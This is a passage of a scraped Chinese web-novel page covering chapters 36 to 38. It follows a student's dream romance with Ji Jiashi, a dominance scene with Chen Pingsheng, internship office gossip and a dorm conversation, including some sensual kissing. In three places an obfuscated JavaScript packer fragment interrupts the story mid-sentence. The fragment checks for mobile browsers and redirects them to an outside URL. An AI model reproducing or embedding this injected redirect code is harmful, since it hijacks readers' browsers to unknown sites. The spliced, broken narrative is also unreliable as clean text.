燕舒没再看陈平生,从沙发上站起,踩着拖鞋走到桌边,又是丰盛的、慢慢一大桌的菜,只不过燕舒觉得这次梦境中的菜品似乎和上次不同。 她拉开椅子坐下,拿起筷子夹了一筷子放入口中,然后点头朝纪佳时道:“好吃。” 第一次入梦也尝了几口,但当时太慌乱,根本没心思吃,再美味也感觉寡淡无味,这次吃,燕舒被惊到了,没有想到纪佳时厨艺这么好。 “老婆喜欢就好。”纪佳时笑得眉眼弯弯,他拿着筷子却不吃,只看着燕舒吃就觉得心满意足了。所谓男为悦己者容,他的厨艺也因燕舒的夸奖才显得有价值。 因为,他是为她学的。 想要抓住一个女人的心,首先得抓住她的胃。 想到这里,他的目光不经意扫过客厅中站着的人,心中冷嗤,会做家务算什么,根本没有竞争力,也想撼动他的地位? 可笑。 他知道陈平生和燕舒关系,以前还为此忧虑到晚上睡不着,想着该怎么破坏两人之间的感情,结果后来才知道,根本不用破坏,因为对方直接送人头。 有智商缺情商,装得沉稳实际依旧蛮横暴躁的蠢货。明明燕舒已经很不待见他,结果还看不懂一点眼色凑上来,蛮横无理地说要帮他们打扫卫生然后理所当然地蹭饭。 反正,纪佳时没给他准备碗筷。 陈平生将拖把放回洗手间,然后洗手,水流声哗啦,他看着镜中的自己,沉默。 如果人和人之间的关系是可以用健康好坏来判断的话,那么很明显,他和燕舒现在的关系很扭曲,不好不坏,他想医治,但又找不到病症原因。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127011|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 像个庸医,越医越严重。 他关上水龙头。 镜中人眉头紧皱,气质都有些阴沉。 忽然,一阵脚步声传来,很轻。 他侧头,燕舒站在过道,她双手抱臂,贴着墙看着他。目光很平静,但给人一种俯视的压迫感。 他扯动嘴角,问:“怎么不吃饭?” “过来。”她没回答他的问题,反而转身离开,留下短短的两个字。 陈平生有些不解,但是还是跟上。 于是,纪佳时看着燕舒将陈平生带入房间。他想起身做些什么,想说些什么,但一时间竟思绪一片空白,什么都忘了,直到门被关上。 不过,此时,不仅是纪佳时懵了,陈平生也懵了,他虽然对燕舒有自己的小心思却从来没有想过要在三人都在场的时候干出这种事。 只不过,他乖乖听从燕舒的话跟着她进入房间,反锁上门。 燕舒的房间有一间浴室,她站在门口,让陈平生进去。 他走进。 不解,但没有询问。 燕舒也走进,然后打开淋浴头,伸手试了试水温,调到冷水。 “进去。” 水很冰,被打湿的一瞬间,从头到脚的彻骨凉意,陈平生抹掉脸上的水,抬手遮眼,问:“燕舒,你怎么了?” 燕舒靠在门边,道:“我看见你,心里很不高兴。” “为什么?” 为什么?他很早就想问为什么? “因为,你凭什么敢远离我?”燕舒回答。 自己默认,然后转眼又不认账,假装无事发生地靠近,自以为聪明地挽回。 陈平生黯然。 “陈平生,是不是很不舒服?不舒服你可以跪下。” 她想让他跪下,于是他跪下了。 燕舒走近,关了水,在他面前蹲下。 他整个人已经被淋得湿漉漉的人,眼睫毛悬挂着水珠,头发贴在他的额前,水珠顺着他的发梢滴落。衣服被水浸透,紧贴在身上,勾勒出他结实的身形,隐约可见肌肉的线条。 燕舒静静地看着他,没有说话。 浴室里很安静。 “你为什么在……现在这么乖?”燕舒问。 “你在不开心。”他解释。 燕舒抿了抿唇。 燕舒有些说不清此刻心里的滋味,说实话,她没有特别讨厌陈平生,因为如果不接触,他们之后会很平和,但偏偏又要接触,于是各种微妙的心理夹杂在一起,她对他升起一种摧毁的欲望。 像是床上的玩具,开心时会抱抱亲亲,但心里不开心也会对着发泄,假装左一拳右一拳的狠揍,揍完再“呼呼,不痛不痛”。 但,人不是玩具,他们之间也没有破裂到那种程度。 可梦里,燕舒很肆意。 只是梦里的陈平生又和现实中的不一样,梦里的很乖,现实的则相反。 燕舒起身,她伸手抬起他的下巴,问:“你聪明还是我聪明?” “你。” 回答地很快很坚定。 燕舒脸上露出笑容。 “那你优秀还是我优秀?” “你。” 燕舒微微弯腰,凑近陈平生的脸,“我问你,你回答就好。我就会高兴。” “陈平生,你别在我面前自作聪明了好吗?” 不同的玩具有不同的玩法。 对陈平生,燕舒就想完全掌控他,那样她才会开心、愉悦。 像现在一样,像梦中一样,乖一点,听话一点,就好。可是,他总自作聪明,自以为是,不被她主导。 “陈平生,乖一点好吗?”她像逗狗一样挠了挠他的下巴。 36. 第 36 章 叮铃铃! “下课。”莫沅说。 他没有拖堂的习惯,铃声刚响他也马上开口,然后就看见坐着第一排的人冲出了教室。 收拾着自己的东西,目光平静地扫过教室里的其他人,没有看见她,心里升起微弱的失落。但很快,这份微妙的情绪又被压下。 燕舒今天请假,他知道,去《金融正报》实习报道,她主动给自己说了。 回到办公室,视线落到进门处的茶几处,上面放着一个粉色的礼物袋,莫沅做到沙发上,伸手拿过袋子,从里面拿出盒子,打开,是一个黄色的小猫玩偶。 这是她送他的礼物,不贵,但表明了谢意。 莫沅将玩偶拿出,轻轻放在桌上,手指一松,小猫便开始左右摇晃,底座微微晃动,却始终稳稳地立在原地。 这是一个猫咪模样的不倒翁。 他盯着那圆润的身体和憨态可掬的表情,嘴角不自觉地扬起一抹笑意,但很快笑意变淡。因为,他错过了和她见面的机会,她来办公室送礼,可他刚好不在。 有些隐秘的失落。 站起身,来到办公桌前坐下,将小猫不倒翁放在了电脑旁,先欣赏了一会,又伸出手戳了戳它的肚子,让它摇晃得更厉害了。自顾自玩了一会儿,莫沅收回视线,打开电脑开始办公。 可电脑屏幕还没亮多久,莫沅又瞄向那只猫。这次,他将桌上的手机拿起,给猫拍了张照,发给了燕舒。 【莫教授:[图片]】 【莫教授:很可爱,很喜欢。】 …… 今天燕舒去金融正报总部报到,六点时她点亮屏幕和身旁工位同位实习生的女生对视,眼中意思不言而喻,东西已经收拾好,就等着到点打卡下班走人了。 但很可惜,临时通知开会。 开完会后,有人提议聚餐,让身为实习生的大家再深度认识认识。 燕舒大一时加过学校的社团和部门,不过并不怎么好玩,因为总要开会,半个小时到一个小时,想要在社团发展竞争,更要学会掌握开会节奏,从听的人变成讲的人。 适应的人如鱼得水,不适应的人如丧考批。 燕舒处于中间地带,她能礼貌地和这些人建立关系,说说笑笑,可又心知这关系的虚假与易碎,她厌烦了开会、厌烦了虚假,于是一个学期过后就退出了。 如今又面临这样的场景,燕舒决定装一装,比较是第一次见面聚餐,还是得适应融入一下。 组织这场聚餐的是经贸大学的一个男生,叫郭涛,经济专业,大四,个高但廋得像个竹竿,戴着一个眼睛,微笑和说话时并不是给人一种书呆子感,反而显得很精明。 燕舒觉得他说话做事都有一种刻意和油腻感,并且在他介绍自己是学生会主席时得到了确认。她感到抱歉,因为她的刻板印象又加深了。 不过虽然对他有点不喜,但不得不说,这人选的聚餐地点不错。餐厅是一家公司附近的餐酒吧,朝对面步行十来步就能到地铁口。走进去,里面人很多,都是附近公司下班聚餐的人,甚至她还看见了今天在公司遇见的一些哥、姐,两方人互相打招呼,然后再选了张大桌子坐下。 燕舒和她工位旁边的女生又挨着坐到一起。 女生叫霍茵茵,不在C市读书,但家在C市,也学的经济学。她很有气质,包很贵,衣服燕舒看不出是什么牌子,但听其他人聊大概也是名牌,甚至在其他人对刘茵茵的试探中得知对方今天开了一辆很贵的车来上班。 嗯,一个有着金钱气质的大小姐。 不过,很好相处。 “还不如吃火锅。”她凑近燕舒小声抱怨。 桌上有菜品的价目表,燕舒拿起扫了眼,说:“其实这个也还行。” 燕舒不想吃火锅,今天上班第一天,她为了有一个新气象,昨晚特意洗头洗澡,熨烫衣服,出门甚至画了个淡妆。吃火锅的话,身上都是味道,她不想今天再洗,明天再换衣服。 “你们吃什么?”郭涛走到两人身旁,坐下。 “你们点了什么?”霍茵茵问,然后又拿起菜单添了两道菜品。 “燕舒,你呢?”郭涛又问。 “够了,我不点了。” “……” 晚上十点,燕舒打车回到学校。 其实聚餐八点多就结束了,只不过之后一群人又去KTV唱了歌,在酒精影响下,神经变得迟钝,反应缓慢,人与人的精神隔阂被鲁莽的行为打破。 燕舒回到寝室推开门,看见里面坐着说话的三人,有些讶异地挑了挑眉,“聊什么呢?” 一般来说,接近十一点,大家都在干自己的事,然后再磨蹭一会关灯上床。这是她们寝室的惯例,所有人都很礼貌地遵守没有被明确说出但默认的寝室规则,努力做到互不打扰。 燕舒看向李梦音和张悦,心想什么话题让两个互相漠视的人都搬着椅子坐在一起聊了起来。 “今天第一天上班就加班到这么晚?”张悦问。 燕舒将包和外套脱下,“不是,聚餐,然后又去KTV唱歌了。” “你唱了吗?”李梦音笑嘻嘻。 “没有。”燕舒唱歌跑调。 “你们刚刚聊什么呢?”燕舒又问。 “你把凳子挪过来,我们一起。” “好。”燕舒换上拖鞋,将椅子放在李梦音和张悦中间的空位,坐下。 她看了看身旁的两人,然后将视线对准对面的钟玉树。 “你有事。”她看出来了。 钟玉树是个很内敛的女生,熬夜苦学让她从初中起就戴上了眼睛,标准的书呆子模样,但此时,她脸颊通红,眼里和嘴角都露出掩盖不住的笑意和羞意。 “嗯……” “我……” 钟玉树和燕舒对视,似是有些耻于开口,嗫嚅着。 “哎呀!”李梦音有些着急。 “就是!她谈恋爱了!并且谈了一学期!她男朋友要来C市找她,请我们吃饭,她才告诉我们!” “没有一学期,就上个学期的假期……” “呵呵。”张悦冷哼,她和钟玉树做什么都一起,但没想到对方谈恋爱连她都瞒着,心底有些不爽,不过忍了忍,将不爽化为阴阳怪气的调侃。 “是谁说,我一点都不想谈恋爱,我要努力考研,考研后再考虑这些情情爱爱的事……”说完,张悦笑了。 燕舒也笑了,啧啧道:“藏得可真深。” “其实我没想瞒你们的……”钟玉树小声反驳。 “我是暗恋他很多年了,没有想到会……总感觉这一切都很虚幻,也害怕像梦一样一戳就破,就没告诉你们。想着如果告诉了你们,结果没过多久就分手了,实在太尴尬了,还不如不说。”钟玉树道。 “哇哦,还是暗恋成真。”李梦音夸张惊叫。 燕舒抬手捂住她的嘴,警告:“十一点二十了,小声点。” “哦。”李梦音悻悻点头。 “暗恋?你高中同学?”燕舒好奇。 钟玉树摇头。 看着李梦音和张悦的表情,很明显,她们已经问过了且知晓了,只不过现在忍着不说,让钟玉树说。 “不是,我是邻居哥哥,大我五岁。” 燕舒微微睁大眼睛,心想那钟玉树确实暗恋已久了。 “青梅竹马呀,青梅竹马。”李梦音道。 “并且!”张悦握住燕舒的手,“你知道吗?” 燕舒摇头。 “她要考去京市,因为对方也在京市。同学校,同专业,如果成功了就直接师兄师妹了。” 钟玉树羞涩地笑,“我选专业不是因为他,但是学校是,我从小就仰慕他,所以想努力向他靠近。” “明明是蓄谋已久,结果没想到直接一路通关到结局,没有任何难度。采访一下,钟同学,你现在心里的感想是什么?”李梦音随手拿起桌上的水杯当做话筒递到钟玉树面前。 钟玉树凑近低头,“忐忑、不安和怀疑,感觉像是在柔软的云朵里,很舒服,但脑中一根弦紧绷,因为怕掉下去。” 这句话说完,寝室里的氛围突然静了静,因为三人听出了钟玉树话里的情绪。 她的开心欢喜是真的,她的忐忑不安也是真的。暗恋成真,她更多的是自我怀疑。 暗恋者多是这样的心态,把对方看得像明月一般高洁遥远,不可触摸,而把自己看低到尘埃里。一旦关系变更,相比于喜悦,更多的是不适应。 燕舒伸手捧住钟玉树的脸,“玉树,你别这样想,我不知道你喜欢的那个人有多么多么优秀,多么多么好,但在我眼里,你很好,非常好,非常优秀,认真努力、善良乐观,一直很坚定,有自己的目标和方向并且在为之行动,你值得被喜欢,也值得被其他人仰慕。” “更何况,喜欢一个人,心脏为一个人跳动,不是看她价值几何,而是很纯粹的''那一刻''。” “对呀,挺起胸膛,钟玉树!他喜欢你不是理所应当吗?你在这胡思乱想什么?住你隔壁还看不见你在发光,那不就眼睛瞎了。”李梦音也回应道。 钟玉树坐直,眼睛弯成月牙,“嗯嗯”点头。 “对了,燕舒你呢?你的情况呢?不说说?”张悦转身双手报臂看向燕舒。 相比于钟玉树的彻底隐瞒,燕舒拿回寝室的捧花很显眼,只不过她们问了几句后没得到答案就礼貌地不再问了。但今天寝室气氛很好,且聊的正是感情问题,张悦趁此机会又问。 钟玉树也好奇地看着燕舒,一件事越神秘越遮掩,想探寻的人越多。 “嗯……” 燕舒点亮屏幕,“已经很晚了,该洗漱上床了。” 说着她从座位上站起,然后准备朝阳台走去,结果张悦伸手揽住她的腰,语气威胁,“说不说?” “不说。” “嗯?” “我要挠你痒痒!” “啊?哈哈……” 一旁,李梦音看着两人,又看了看眼里浮动着好奇的钟玉树,心里有一丝感动,因为燕舒没瞒着她,她知道燕舒现在的感情故事。 劲爆的三角恋,竹马和天降。虽然,燕舒并不承认。 …… “茵茵、燕舒。拿,你们的咖啡。”戴着眼镜的竹竿男礼貌又温和地将两杯咖啡分别放到两人手边。 燕舒有些诧异,因为郭涛在追求霍茵茵是大家都看得出来的事,买咖啡只给霍茵茵一个人买,偶尔会加上领导的几杯。 她的目光落在自己手边的咖啡,心想,这是在做什么?光明正大钓鱼?把她当备胎? “谢谢,多少钱,我转你。”燕舒笑得很礼貌。 “十几块钱,不用。”郭涛挥手。 他很大方,上次聚餐和KTV的费用都是他主动结了帐,说是要请客。当然,燕舒是把自己的那份钱转过去了,他推辞几句后也收了。 “啊,那谢谢涛哥了。”说完,燕舒拿出喝了口。 “谢谢。”霍茵茵也笑着道谢。 然后,两人都不说话了。 “嗯,你们这边有什么要我帮忙的不?”郭涛站在两人公卫旁边还没走。 “我有!”霍茵茵眨巴着眼睛露出祈求的目光,“我这有资料还没整理完,但又被布置了其他事,你能帮我吗?” “可以。” “好,那我发给你,谢谢你啦。” 郭涛走了。 燕舒的目光从电脑上移开,和身旁的霍茵茵对上,她立刻移动椅子凑到燕舒身边,俯身悄声道:“你知道他为什么给你买吗?” 燕舒不知道。 霍茵茵将视线挪到燕舒桌下的一个礼品袋,那是之前宋晴买给燕舒的巴宝莉围巾,一直忘了给,今天宋晴终于记住了,提着它在中午吃饭时递给了燕舒。 “哦。”燕舒了然。 “啧啧。”这是霍茵茵发出的声音。 “那天聚餐的钱,你是不是也转给他了?”霍茵茵又问。 “是。” “我问了一些人,他们也是。但,他没说。”霍茵茵拍了拍燕舒的肩膀,感叹道:“真是人心险恶啊。” “他在追求你。”燕舒说。 霍茵茵翻了个白眼,“你觉得他配吗?” “我有钱又貌美,追求我的多了去了,他算什么?我看不上。不过我还是很享受每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127012|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天一杯免费的咖啡的。” “男人都很现实。” “确实。”燕舒点头。 对于郭涛来说,霍茵茵就属于一块大鱼,他现在每天在用鱼饵钓她。权衡利弊,如果成功,收获是远远大于付出的,几杯咖啡还没有达到让他肉痛的程度。 “但要小心。”燕舒觉得郭涛不属于那种礼貌有度的追求者。 “知道。”霍茵茵朝燕舒比了个ok的手势,问:“今晚一起吃饭?” “他邀请我吃饭,我拒绝了。” “你可以载我去地铁站。我今天有事。” “好。” 纪佳时站在电影院门口的过道上,手里捧着一桶刚买好的爆米花,热气从纸桶边缘缓缓升腾,带着淡淡的奶油香气。 他脸上忍不住露出笑容。 商场的影院,来往人很多,几个来看电影的女生走进影院,忍不住转头回看他,然后再凑近低声窃语。 燕舒从电梯走出,转过转角就看见了纪佳时。她脸上露出笑容,向他走去。 他在等她,目光搜寻,不一会也看见了她,抬脚向她走近。 “等多久了?”燕舒问。 “没等,刚来。你看爆米花还冒着热气。”像献宝似的将爆米花送到燕舒面前。 燕舒伸手,拿起一颗,迟疑一瞬,将爆米花递到纪佳时嘴边。 他呆了呆,耳朵肉眼可见地迅速蹿红,然后张口咬下,“好吃。” 明明亲都亲了,已经是极亲密了,可面对这些不亲密的事,无论是燕舒还是纪佳时,他们都不适应。 他脸红,她则收回手,不自然地低头接过爆米花,向前一步越过他,“电影快开始了,走吧。” 年轻男女,并且重点是有暧昧倾向的年轻男女,第一次看电影时往往并不会将注意力专注在电影上,他们心中有更期待的事。比如,牵手、靠头,甚至是在电影屏幕上看见男女主亲吻和亲密时会不由自主地幻想代入。 但,这并不符合燕舒和纪佳时。 因为电影是燕舒选的,她选了一部科幻动作片,重映的片子《银翼杀手2049》。在电影院看电影,燕舒喜欢惊险刺激的,给她来带视觉效果震撼的,爱情片从来不在她的选择之内。 在电影的前半部分时间内,纪佳时有些不专心,因为他身边坐着燕舒,他在思考该怎么牵他的手。但观察燕舒看得十分认真后,他放弃了,也专心看起电影来。 电影看完,两人走出电影院。 “吃些什么?”他知道,燕舒没吃晚饭。 “算了,我爆米花都吃饱了。”燕舒摇头。 “不过,我想吃冰淇淋。”她好久都没吃了。 “你吃吗?” 纪佳时迟疑了一会,问:“你不会肚子痛吗?” “不会。” “哦。” 纪佳时眼神飘忽,向前一步,然后伸出手握住了燕舒的手,燕舒低头瞧了瞧被握住的手又抬眸看他。他却不敢和燕舒对视,只轻声道:“走,我们去买冰淇淋。” “好。”她回答,然后反握住他的手,跟着他走。 纪佳时买了两个冰淇淋,他和燕舒一人一个。 燕舒之前抱着半桶没吃完的爆米花,因为一只手被纪佳时顽固地握着,另一只手要拿冰淇淋,就只能丢了。 他们走出商城,往学校方向走。 “纪学弟,你为什么不叫我学姐了?”燕舒侧头看向身旁的人。 纪佳时抿唇,“因为学姐你的学弟又不止我一个人。” 他们并肩走到校门口,脚步却不约而同地停下,没再继续往前走。 夜深,C大校门口也被笼罩在一片静谧之中,唯一发出声音的只有门口奔驰而过的汽车。 C大作为C市重点大学,不仅一直在翻新扩建,连校门口两边的树木草坪都打理得很好,路灯照耀下,显出另一种幽美之意。 他们牵着手走向一旁的木椅,坐下。 身体靠近,方向也是往里侧,对视,燕舒露出清浅的笑容,问:“那你想叫我什么?” “佳时。” 燕舒的声音很轻,她没有故意勾引,只是简单地念出他的名字,但纪佳时被轻易地动摇、有诱惑了。 因为,她是他喜欢的人。 “阿舒。” “可以吗?” 礼貌的问询是刻在骨子里的自矜自持,但当燕舒什么都没说也什么都没做时,他的所有理智像是被一把火点燃,然后焚烧,夜风清凉吹拂,却只能让火势更大,然后被烧得更干净。 他终于松开紧握的手,然后将其放在燕舒的脸颊,捧住也固定住,倾身上前,在燕舒清凌凌的眼神中,吻住她的唇。 这次,没有再像上次那般青涩、胆怯,而是直接撬开她的齿关,长驱直入,再来到他反复回忆、日夜思慕的地方。 深吻。 燕舒的手攥住他的衣服。 勾缠。 他的手指插/入她的头发中。 莫沅开车从学校出来就看见了年轻的男女坐着路旁的木椅上亲吻,树木挡着,他瞥了一眼就不再关注,继续握住方向盘转弯。 年轻的男女,寂静的夜,亲吻纠缠,这很正常。如果他是高中老师,那么他会管一管,但,这里是大学。 他管什么? 转弯完成,他固定方向盘往前,目光直视前方,思绪却有些飘忽。车子缓缓前行,路旁的景色在余光中一闪而过。 突然,他身体一僵,经过了转弯路口,没有了树木遮挡,那坐着亲吻的男女身影在昏黄路灯下显得格外清晰。女生的侧脸映入眼帘,熟悉的轮廓让他的心跳也猛然一滞。 脚下刹车轻踩,车速慢了下来,车窗外的画面仿佛被拉长。 时间也变得缓慢。 说不清过了多久,也不知道车子如何前行,总之,还没驶出路口,他就彻底踩下了刹车,最终停在路边。 车子熄火后,车内瞬间陷入一片寂静。 他没有将脑袋探出车窗往后面看,更不敢看后视镜,只俯身低头靠在方向盘上,紧紧握着方向盘,指节微微发白,胸口似是被什么堵住,呼吸也变得沉重。 37. 第 37 章 凌晨两点,夜幕沉沉,城市的喧嚣逐渐褪去,高楼大厦也归于寂静。餐厅的灯明亮而温暖,纪佳时还在埋头工作,吃饭的餐桌上此刻堆满了厚厚的案卷和文件,电脑屏幕上密密麻麻的法律条文和案件资料几乎占满了整个屏幕。 在买下这个房子并进行安装的时候,纪佳时是有书房的,只不过在燕舒住进来后,他就没有了。不过,他到不以为意,毕竟燕舒作为一个大女人,是家里的一家之主,不管她此刻有没有工作,她都需要一个书房去安置她所有的思绪。 至于他,一个小小的餐桌就足够,餐桌旁边就是厨房,那是他熟悉的地方,也是他幸福感的来源。 他的手指在键盘上飞快地敲击着,时不时停下俩,翻阅手边资料,眉头紧锁,似乎在思考着什么。他已经不算是新人律师了,但律所里的其他人、包括来寻求他帮助的客户依旧会因为他是个男人而怀疑他的专业度,她们的目光并不凛冽,只是淡淡的,却能让纪佳时感受到一种窒息感。 为了打破这种刻板印象,他只能努力再努力。 时间一分一秒地过去,窗外的夜色更加浓郁,脑袋昏沉,思维也迟钝了下来。他揉了揉酸胀的眼睛,端起一旁已经凉透的咖啡喝了一口,苦涩的味道让他稍微清醒了一些。突然,他听见了卧室开门的声音。 抬头,看见燕舒站在卧室门口,她穿着粉色的睡裙,头发披散,他以为她是被他在客厅发出的声音吵醒,却发现她的眼睛明亮异常,没有一点昏睡醒来的迷蒙模样。 “老婆?怎么?吵醒你了?”纪佳时问。 “没有。”燕舒摇头。 她朝餐桌走去,拉开他身旁的椅子坐下。 第三次在房间醒来,只不过时间变成了凌晨,这次,身边只有纪佳时。 他身体朝她靠近,伸手轻轻抚上她的额头,指尖顺着她的发丝下滑。“睡不着?” 燕舒想了想,摇头,“口渴,想喝温水。” “好。”他站起身,朝客厅走去。 燕舒的视线跟随着他的背影移动,无意识地伸手抚摸唇瓣。很快,水声哗啦啦响起,又停止,纪佳时转身,燕舒将手放在桌上随意地翻那些纸质文件,响声哗啦。 他端着一杯温水递到燕舒手中,燕舒双手捧着,杯壁温热,她低头抿了一口,水温适中,不太烫也不会太凉,温热的水流顺着喉咙滑下,让燕舒肚子上方感到了一丝暖意,很舒服。 “很晚了。”燕舒将水杯放在桌上。 纪佳时再次将视线从电脑屏幕上移开,他看着燕舒,伸手将她额前的一缕碎发别到耳后,动作自然而温柔,声音坚定,“老婆,我马上,你先去睡吧。” 燕舒再次摇头,“我陪你吧。” 从燕舒入梦开始,她就得到了一个‘好睡眠’的buff,不管现实里入睡前多疲惫、梦里的故事又多么劳心费力,她都会在早上六到七点睁开眼睛,并且感到精力充沛活力满满。之前在学校里会睡回笼觉且没什么事做所以这个buff不明显,但最近开始上班,这让燕舒意识到这个能力给她带来了多大的效用。 在早上大部分人都头脑昏沉,甚至犯困时,燕舒已经把今日工作任务进行了梳理分类…… 虽然,在梦里睡觉听着比较有趣,但燕舒决定放弃尝试,因为她面前坐着纪佳时。她心里有更好玩更有趣、更值得尝试的想法。 纪佳时知道燕舒是个很执拗的人,见她眼神坚定也就不再劝了,只想着自己要再提升效率,早点做完,早点将她哄回卧室睡觉。 于是,纪佳时工作,燕舒就坐在一旁看着。 都说认真工作的人最帅,燕舒觉得这个某个恶毒资本家为了鼓励员工奋斗说出来的宣传语,因为一个人无论工作不工作,只要她专注投入某件事时,她的生命都在熠熠生辉,人也变得魅力无限。 不过纪佳时本来就好看,再怎么给他增添光彩,也只是让燕舒觉得此刻他有一番别样的新鲜感。相比于现实中仍略显青涩和稚嫩的少年,梦中的虽然也依旧年轻美貌,但很明显已经在趋于成熟沉稳的路上了。 他穿着一件深蓝色的衬衫,袖子随意地挽到手肘,露出结实的小臂,修长的手指在键盘上飞速移动。 看了一会对方的脸,燕舒低头拿起桌上的文件看起来,枯燥的案卷,燕舒看得津津有味,当然,这并不是因为她对法学感兴趣,只是燕舒对文字有一种宽容。哪怕是某些商店里放着的成功学文案或者企业家自传和品牌宣传书,她都能看进去。 弊端是,印象不深。 当手上的文件翻完,燕舒真正开始感到无聊。 她将案卷放回原处,拿起桌上的一支钢笔,有一下没一下地敲击玻璃水杯的杯壁,发出清脆的声响。 “叮——叮——” 声音很轻,但却带着某种韵律,像是某种暗号。纪佳时放在电脑上的手指停顿,抬头,燕舒在看他。两人的视线在空中交汇,火花被点燃,只在一瞬间,周身的氛围发生了隐秘的变化。 纪佳时喉结滚动。 “你渴吗?”燕舒问。 像是口渴的人听见了水声也看见了水,他颇为干渴地抿嘴吞咽。 燕舒眼中显出笑意,放下手中钢笔,握住已经没有温度的水杯,站起身。 她无须再前进,因为纪佳时已经在她面前。 他的视线在她手中水杯和唇上移动,最终轻轻张开唇瓣,头微微后仰,准备接受她的怜悯与戏弄。 燕舒微微俯身,将水杯贴到他的嘴边,然后转动手腕,杯中水流入他的口中。但他太贪心,不懂得收敛,燕舒太慷慨,也不懂得适度。于是,水从他的嘴角流出,他咳嗽了一声,被呛到了,头也抬起。 燕舒将水杯放到桌上,凝视他,伸出手,手指擦了擦他嘴角的水渍。 纪佳时的胸膛起伏地很快,呼吸也有些急促,他抬手握住燕舒的手,让她不能挣脱,然后伸出舌头轻轻舔了舔。 “老婆,还不亲我吗?”纪佳时有些着急,也有些委屈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127013|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他知道,燕舒喜欢做足够长的前戏,喜欢看他为她着迷,完全不抵抗地任她玩弄。但他觉得他根本不需要再表现什么了,他无时无刻不在为她着迷,可她还在考验他。 这句话说完,燕舒眼睛眨了眨,然后俯身亲吻。 唇齿交缠,相握的双手也变换交握的姿势,他的手指顺着指缝与她相契,更显亲昵和纠缠。 房间的客厅和厨房的灯都关着,连燕舒刚刚走出的卧室也漆黑一片,只有餐厅头顶的灯亮着,暖光从顶上照亮餐桌和坐在椅子上亲密勾缠的两人。影子成了一团没有形状的圆团,在地面以微小的量度进行变幻。 每次接吻前和接吻后的姿势都不一样,刚开始,她俯身站着,后来慢慢的,她身体越低越近,最后坐在了男人怀中。鼻息炙热,燕舒心底也升起一股热意,背后似乎开始冒汗。 他和她离得太近了,身体几乎没有分隔,他的胸膛很硬,让她有些不舒服,她想后退暂停,但他揽住她的腰并且又将她拉近。他的手冰凉,隔着睡衣在她背上抚摸,稍稍压下背上的热,燕舒发出声音。 然后,僵硬地、突兀地停止。 因为,她察觉他身上的一个灼热的、长形物体抵住她的肚子,他的另一只手不知什么时候掀开了她的睡裙,没有任何隔膜地贴在她背后的肌肤上。 纪佳时停下时,还自然地捏了捏燕舒腰间的软肉,他呼吸灼热,明亮的眼中欲色浓重,水雾朦胧。 燕舒僵硬地坐在他身上,轻喘着,双手环着他的脖子。 “好了。”她说,声音喑哑。 纪佳时垂下眼眸,掩盖住眸光中的暗色。 “老婆。”最后一个字拉出长长的尾音,在撒娇。因为声线低沉嘶哑,透出不满和未被满足的欲望。 燕舒没回答,从他腿上滑下。 “睡了。”她利落转身。 对于性/爱,燕舒自认为并不是个保守的人,她正视,但不主动,她喜欢和纪佳时接吻,但她从来没有想过要做/爱。至少,她需要时间。 此刻,她面对一件陌生的事,还稍显慌乱和犹豫。 如果真要和纪佳时做/爱,第一次应该在现实中,梦里算什么?一次清醒且完整的春梦吗? 躺在床上,听着浴室传来的声音,燕舒抓紧被子,有些紧张。 她在思考很多,比如,梦境多久结束?又或者,她改不改在梦里放开自己?毕竟,只是梦而已。 …… 浴室门打开,她侧身躺在床上,看见纪佳时围着浴巾走出,没洗头,只是在浴室解决一些欲/火问题。 黑暗中,两双眼睛对视,他轻笑了一声。 燕舒转过身。 一声窸窸窣窣的声音过后,燕舒察觉床垫微微下陷,一股熟悉的清冽气息扑面而来。 纪佳时掀开被子,他的体温隔着薄薄的睡衣传来,他揽住她的腰,温热的手掌贴在她的腹部,见她往怀里带。 “老婆,睡吧。” “晚安。” 38. 第 38 章 明亮的黄色灯光,地上是方形石砖,墙壁上贴着富有九十年代气息的标语,进门处的墙壁上画着一张两只熊猫吃竹子的画,还没进店在门口就闻到了火锅的香味,进入,人声鼎沸,桌上冒出的热气让燕舒在外面被冷风吹得稍觉干燥的鼻腔舒缓下来。 她走到店里,抬头一望就看见了李梦音她们。 今天这场饭局,主要是钟玉树的男朋友请客,公开宣誓自己的身份的同时向她们表达对照顾钟玉树的感谢。火锅店选的学校附近的一家老店,评价且味道不错。钟玉树表示让大家选择饭店不用太在意价格,但到底是别人请客,怎么可能真故意宰人。 “燕舒,这!”钟玉树起身朝燕舒招手。 燕舒向她们走去。 “来迟了,抱歉。”燕舒将包放下。 她瞟了眼对面的男人,又看向钟玉树和李梦音几人。李梦音和张悦不算拘谨的人,只不过今天刚和对方见面,到底不知道说什么,只能眼神在钟玉树和男人身上移动,脸上露出礼貌又怪异的微笑。 “这是我男朋友,蒋琏。”钟玉树呆呆站起,火锅的热气熏得她脸颊绯红。 